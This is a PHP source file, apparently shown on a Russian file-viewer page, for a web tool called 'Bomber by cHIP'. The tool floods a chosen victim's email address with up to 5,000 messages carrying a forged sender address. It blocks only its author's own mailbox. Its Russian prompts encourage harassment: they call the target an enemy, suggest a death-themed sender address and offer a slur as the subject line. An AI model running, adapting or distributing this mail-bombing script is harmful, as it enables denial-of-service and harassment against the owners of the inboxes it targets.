Просмотр файла bomber.php

Размер файла: 3.4Kb
<?php

header("Cache-Control: no-cache");
header("Content-type: text/html; charset=utf-8");

print('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Bomber by cHIP</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body {font-weight: normal; font-size: small; color: #000000; font-family: sans-serif; background-color: SILVER;}
div {margin: 0px; padding: 0px 0px 0px 2px;}
a {color: BLUE; text-decoration: none;}
.copyright {color: #FFFFFF; background-color: #B41F24; border: 1px solid #A30D13; padding: 0px;}
.gray {background-color: GRAY;}
</style>
</head>
<body>');

print('<div class="gray"><p align="center"><b>Bomber by cHIP</b></p></div>');

if($mail!=""){
$mail = substr($mail, 0, 32);
if(preg_match("/[0-9a-z_\-]+@[0-9a-z_\-^\.]+\.[a-z]{2,4}/i",$mail)){
if($tema!=""){
$tema = substr($tema, 0, 50);
$tema = htmlspecialchars(stripslashes($tema));
if($message!=""){
$message = substr($message, 0, 2000);
$message = htmlspecialchars(stripslashes($message));
if($from!=""){
$from = substr($from, 0, 32);
$from = htmlspecialchars(stripslashes($from));
if($k!=""){
if(preg_match("/[0-9]/i", $k)){
if($k<5001){
if($mail!="[email protected]"){
$tema = iconv("UTF-8","KOI8-R",$tema);
$message = iconv("UTF-8","KOI8-R",$message);
$from = iconv("UTF-8","KOI8-R",$from);
$n=0;
while($k>$n){
@mail("$mail","$tema","$message","From: $from\r\nContent-type: text/plain; charset=KOI8-R\r\n");
$n=$n+1;}

$message = iconv("KOI8-R","UTF-8", $message);
print('На почтовый ящик <font color="blue"><b>'.$mail.'</b></font> было отправлено <b>'.$k.'</b> писем с текстом <b><font color="gray">'.$message.'</b></font>');

} else {print('Вы чё совсем оборзели??! Мой ящик забомбить решили?');}

} else {print('Вы ввели слишком большое количество писем. Максимально разрешимое - 5 000.');}

} else {print('Неверно заполнена строка <b>Количество писем</b>. В нее можно вписать лиш числовое значение!');}

} else {print('Вы не ввели количество писем, которые нужно слать!');}

} else {print('Вы не вписали адрес отправителя. Можно написать что-то типа <b>твоя@смерть.ру</b>');}

} else {print('Вы не написали сообщение. Чтобы письмо отправилось, достаточно написать 
хоть одну букву.');}

} else {print('Вы не написали тему. Можно написать что-то типа: <b>Самому гнусному пидору</b>.');}

} else {print('Вы ввели неверный e-mail в поле <b>Кому</b>. Адрес должен быть вида <b>почтовый_ящик@домен_ящика.зона</b>, например <font color="blue"><b>[email protected]</b></font>.');}

} else {print('Вы не ввели e-mail своего злосного врага, как же мы будем его бомбить? :)');}

print('<br>[<a href="index.php?act=bomber">Бомбить еще</a>]
<br>
[<a href="index.php">К приложениям</a>]
<div class="copyright"><p align="center"><a href="http://chiper.wapf.ru"><font color="white">Powered by cHIP</font></a></p></div>
</body>
</html>');

?>